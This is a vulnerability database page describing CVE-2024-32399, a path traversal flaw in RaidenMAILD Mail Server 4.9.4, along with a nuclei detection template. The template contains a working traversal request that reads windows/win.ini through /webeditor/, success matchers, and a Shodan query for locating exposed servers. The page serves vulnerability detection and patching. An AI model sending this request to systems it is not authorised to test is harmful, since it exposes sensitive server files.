HexBrain

Browse / CVEs / CVE-2024-32399

CVE-2024-32399· raidenmaild / raidenmaild· CWE-22

RaidenMAILD Mail Server v.4.9.4 - Path Traversal

highseverity
7.6CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Directory Traversal vulnerability in RaidenMAILD Mail Server v.4.9.4 and before allows a remote attacker to obtain sensitive information via the /webeditor/ component.

Impact

Attackers can traverse directories to obtain sensitive information from the mail server.

Fix

Update RaidenMAILD to a version later than 4.9.4 that patches the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webeditor/../../../windows/win.ini
Positive when: contains_all(body, "[fonts]", "for 16-bit app support") and contains(header, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-32399 -u <target>

The full check
id: CVE-2024-32399

info:
  name: RaidenMAILD Mail Server v.4.9.4 - Path Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    Directory Traversal vulnerability in RaidenMAILD Mail Server v.4.9.4 and before allows a remote attacker to obtain sensitive information via the /webeditor/ component.
  impact: |
    Attackers can traverse directories to obtain sensitive information from the mail server.
  remediation: |
    Update RaidenMAILD to a version later than 4.9.4 that patches the directory traversal vulnerability.
  reference:
    - https://owasp.org/www-community/attacks/Path_Traversal
    - https://github.com/NN0b0dy/CVE-2024-32399/blob/main/README.md
    - https://github.com/NN0b0dy/c01/blob/main/01.pdf
    - https://github.com/NN0b0dy/CVE-2024-32399
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cve-id: CVE-2024-32399
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
    cvss-score: 7.6
    epss-score: 0.0316
    epss-percentile: 0.88085
    cpe: cpe:2.3:a:raidenmaild:raidenmaild:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"RaidenMAILD"
    product: raidenmaild
    vendor: raidenmaild
  tags: cve,cve2024,lfi,raiden,mail,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webeditor/../../../windows/win.ini"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "[fonts]", "for 16-bit app support")'
          - 'contains(header, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from